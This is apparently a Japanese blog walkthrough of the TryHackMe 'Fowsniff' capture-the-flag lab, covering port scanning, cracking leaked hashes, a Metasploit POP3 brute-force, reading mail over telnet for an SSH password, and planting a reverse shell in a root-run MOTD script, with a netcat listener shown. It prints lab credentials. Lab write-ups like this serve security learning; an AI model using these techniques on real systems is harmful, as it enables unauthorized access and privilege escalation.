LoginSignup
0
0

TryHackMe Writeup:Fowsniff CTF

Posted at

はじめに

本記事はTryHackMeのWriteupです。

RoomはFowsniff CTF、Difficulty(難易度)はEasyです。

このRoomでは、段階的にフラグが取得できるように構成されているため、基本的なハッキングテクニックについて学ぶことができます。

Hack into the FowSniff organisation.

FowSniffと言う架空の組織をハッキングします。

まずは、ポートスキャンから行います。

ポートスキャン

ここでは事前に用意したシェルを介してポートスキャンを実行しています。

$ ./nmap.sh <対象ホストのIPアドレス>

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-23 14:27 JST
Nmap scan report for 10.10.101.183
Host is up (0.24s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)
|   256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA)
|_  256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519)
80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Fowsniff Corp - Delivering Solutions
110/tcp open  pop3    Dovecot pop3d
|_pop3-capabilities: USER RESP-CODES SASL(PLAIN) TOP UIDL AUTH-RESP-CODE PIPELINING CAPA
143/tcp open  imap    Dovecot imapd
|_imap-capabilities: post-login LITERAL+ more SASL-IR IDLE have IMAP4rev1 listed LOGIN-REFERRALS capabilities ID OK AUTH=PLAINA0001 ENABLE Pre-login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.36 seconds
Scan completed

ポートスキャンの結果を基に調査を行います。

OSINT

ブラウザを起動して、マシンのIPアドレスにアクセスします。

スクリーンショット 2024-02-23 14.41.47.png

「ウェブサイトは一時的にサービスを停止している」との記載がありますが、スクロールすると画面下部に興味深い内容が書かれています。

スクリーンショット 2024-02-23 14.42.31.png

「Fowsniffの内部システムはデータ侵害に見舞われ、その結果、従業員のユーザー名とパスワードが流出しました。」との記載があります。また、X(Twitter)のアカウント情報が載っているので確認してみます。

X(Twitter)の最初の投稿に記載があるリンクを辿ると、パスワードダンプを発見しました。パスワードはMD5によってハッシュ化されているため、タスクに記載があるサイトなどを使用してデコードします。

Dovecot

ポートスキャンの結果から分かる通りに、メールサーバにDovecotが使用されています。

また、nmapのスクリプトスキャンによって、pop3-capabilitiesが使用されます。CAPAコマンドはRFC2449で定義されていて、POP3サーバーに実装されている機能を調べることができます。

USERコマンドをサポートしていると思われるため、ログインできるか確認します。

metasploitを使用してPOP3ログインをブルートフォースで実行するためには、ユーザー名とパスワードをスペースで空けたファイルを用意します。このファイルはUSERPASS_FILEで設定します。準備ができたらmsfconsoleを起動して、以下のコマンドを実行します。

msf6 > use auxiliary/scanner/pop3/pop3_login

show optionsを実行して必要な設定を確認します。

msf6 auxiliary(scanner/pop3/pop3_login) > show options

Module options (auxiliary/scanner/pop3/pop3_login):

   Name              Current Setting                              Required  Description
   ----              ---------------                              --------  -----------
   ANONYMOUS_LOGIN   false                                        yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false                                        no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                            yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                        no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                        no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                        no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                         no        Skip existing credentials stored in the current database (Accepted: none, user,
                                                                            user&realm)
   PASSWORD                                                       no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordli  no        The file that contains a list of probable passwords.
                     sts/unix_passwords.txt
   RHOSTS                                                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics
                                                                            /using-metasploit.html
   RPORT             110                                          yes       The target port (TCP)
   STOP_ON_SUCCESS   false                                        yes       Stop guessing when a credential works for a host
   THREADS           1                                            yes       The number of concurrent threads (max one per host)
   USERNAME                                                       no        A specific username to authenticate as
   USERPASS_FILE                                                  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                        no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordli  no        The file that contains a list of probable users accounts.
                     sts/unix_users.txt
   VERBOSE           true                                         yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

RHOSTと、USERPASS_FILEを設定します。

msf6 auxiliary(scanner/pop3/pop3_login) > set RHOSTS 10.10.101.183
RHOSTS => 10.10.101.183
msf6 auxiliary(scanner/pop3/pop3_login) > set USERPASS_FILE /tmp/hashlist
USERPASS_FILE => /tmp/hashlist

PASS_FILEUSER_FILEにデフォルト値が入っている場合、デフォルト値が使用されるため、デフォルト値を削除します。

msf6 auxiliary(scanner/pop3/pop3_login) > set PASS_FILE ""
PASS_FILE => 
msf6 auxiliary(scanner/pop3/pop3_login) > set USER_FILE ""
USER_FILE => 

準備ができたらrunコマンドを実行します。

[-] 10.10.101.183:110      - 10.10.101.183:110 - Failed: 'mauer:mailcall', '-ERR [AUTH] Authentication failed.'
[!] 10.10.101.183:110      - No active DB -- Credential data will not be saved!
[-] 10.10.101.183:110      - 10.10.101.183:110 - Failed: 'mustikka:bilbo101', '-ERR [AUTH] Authentication failed.'
[-] 10.10.101.183:110      - 10.10.101.183:110 - Failed: 'tegel:apples01', '-ERR [AUTH] Authentication failed.'
[-] 10.10.101.183:110      - 10.10.101.183:110 - Failed: 'baksteen:skyler22', ''
[+] 10.10.101.183:110      - 10.10.101.183:110 - Success: 'seina:scoobydoo2' '+OK Logged in.  '
[-] 10.10.101.183:110      - 10.10.101.183:110 - Failed: 'mursten:carp4ever', '-ERR [AUTH] Authentication failed.'
[-] 10.10.101.183:110      - 10.10.101.183:110 - Failed: 'parede:orlando12', '-ERR [AUTH] Authentication failed.'
[-] 10.10.101.183:110      - 10.10.101.183:110 - Failed: 'sciana:07011972', '-ERR [AUTH] Authentication failed.'
[*] 10.10.101.183:110      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

seinaアカウントでログインできました。引き続きtelnetコマンドなどを実行して、Dovecotに接続します。

$ telnet 10.10.101.183 110

seinaでログイン後、メールボックスを確認します。受信したメールは、RETRコマンドで参照できます。

Trying 10.10.101.183...
Connected to 10.10.101.183.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
USER seina
+OK
PASS scoobydoo2
+OK Logged in.
LIST 
+OK 2 messages:
1 1622
2 1280
.
RETR 1
+OK 1622 octets

最初のメールからsshで使用するパスワードが確認できました。

Return-Path: <stone@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1000)
	id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff,
    mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff,
    tegel@fowsniff
Subject: URGENT! Security EVENT!
Message-Id: <20180313185107.0FA3916A@fowsniff>
Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
From: stone@fowsniff (stone)

Dear All,

A few days ago, a malicious actor was able to gain entry to
our internal email systems. The attacker was able to exploit
incorrectly filtered escape characters within our SQL database
to access our login credentials. Both the SQL and authentication
system used legacy methods that had not been updated in some time.

We have been instructed to perform a complete internal system
overhaul. While the main systems are "in the shop," we have
moved to this isolated, temporary server that has minimal
functionality.

This server is capable of sending and receiving emails, but only
locally. That means you can only send emails to other users, not
to the world wide web. You can, however, access this system via 
the SSH protocol.

The temporary password for SSH is "S1ck3nBluff+secureshell"

You MUST change this password as soon as possible, and you will do so under my
guidance. I saw the leak the attacker posted online, and I must say that your
passwords were not very secure.

Come see me in my office at your earliest convenience and we'll set it up.

Thanks,
A.J Stone


.

2個目のメールも確認します。

RETR 2
+OK 1280 octets
Return-Path: <baksteen@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1004)
	id 101CA1AC2; Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
To: seina@fowsniff
Subject: You missed out!
Message-Id: <20180313185405.101CA1AC2@fowsniff>
Date: Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
From: baksteen@fowsniff

Devin,

You should have seen the brass lay into AJ today!
We are going to be talking about this one for a looooong time hahaha.
Who knew the regional manager had been in the navy? She was swearing like a sailor!

I don't know what kind of pneumonia or something you brought back with
you from your camping trip, but I think I'm coming down with it myself.
How long have you been gone - a week?
Next time you're going to get sick and miss the managerial blowout of the century,
at least keep it to yourself!

I'm going to head home early and eat some chicken soup. 
I think I just got an email from Stone, too, but it's probably just some
"Let me explain the tone of my meeting with management" face-saving mail.
I'll read it when I get back.

Feel better,

Skyler

PS: Make sure you change your email password. 
AJ had been telling us to do that right before Captain Profanity showed up.

.

フラグ

sshでマシンにログインして、フラグを取得します。

ユーザー名は、2個目のメールをヒントにbaksteenユーザーを使用します。パスワードは、1個目のメールで取得したパスワードを使用します。

$ ssh baksteen@<対象ホストのIPアドレス>


                            _____                       _  __  __  
      :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  
   :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions


   ****  Welcome to the Fowsniff Corporate Server! **** 

              ---------- NOTICE: ----------

 * Due to the recent security breach, we are running on a very minimal system.
 * Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.


Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36

idコマンドを実行すると、usersグループに所属していることが確認できます。

uid=1004(baksteen) gid=100(users) groups=100(users),1001(baksteen)

タスクの説明を参考にしながら、usersグループに属しているファイルを検索します。

 $ find / -group users 2> /dev/null

検索結果から以下のファイルを発見しました。

/opt/cube/cube.sh

権限を確認すると、usersグループであれば編集できそうです。

-rw-rwxr-- 1 parede users 851 Mar 11  2018 /opt/cube/cube.sh*

また、ファイルの中身はログイン後に表示されりバナーであることが確認できます。

printf "
                            _____                       _  __  __  
      :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  
   :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions\n\n"

/etc/update-motd.d/00-headerファイルを参照すると、/opt/cube/cube.shが実行されていることが確認できます。

#!/bin/sh
#
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

#[ -r /etc/lsb-release ] && . /etc/lsb-release

#if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
#	# Fall back to using the very slow lsb_release utility
#	DISTRIB_DESCRIPTION=$(lsb_release -s -d)
#fi

#printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

sh /opt/cube/cube.sh

上記を踏まえて、/opt/cube/cube.shファイルにリバースシェルを仕込みます。リバースシェルを準備後、攻撃する側で以下のコマンドを実行します。

$ nc -lnvp 4444

再度、sshでマシンにログインすると、rootユーザーでログインしていることが確認できます。

listening on [any] 4444 ...
connect to [<攻撃側のIPアドレス>] from (UNKNOWN) [10.10.101.183] 50346
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

ルートディレクトリのフラグが取得できました。

   ___                        _        _      _   _             _ 
  / __|___ _ _  __ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| |
 | (__/ _ \ ' \/ _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|
  \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)
               |___/ 

 (_)
  |--------------
  |&&&&&&&&&&&&&&|
  |    R O O T   |
  |    F L A G   |
  |&&&&&&&&&&&&&&|
  |--------------
  |
  |
  |
  |
  |
  |
 ---

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.

Special thanks to psf, @nbulischeck and the whole Fofao Team.

おわりに

Dovecotが懐かしかったです。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0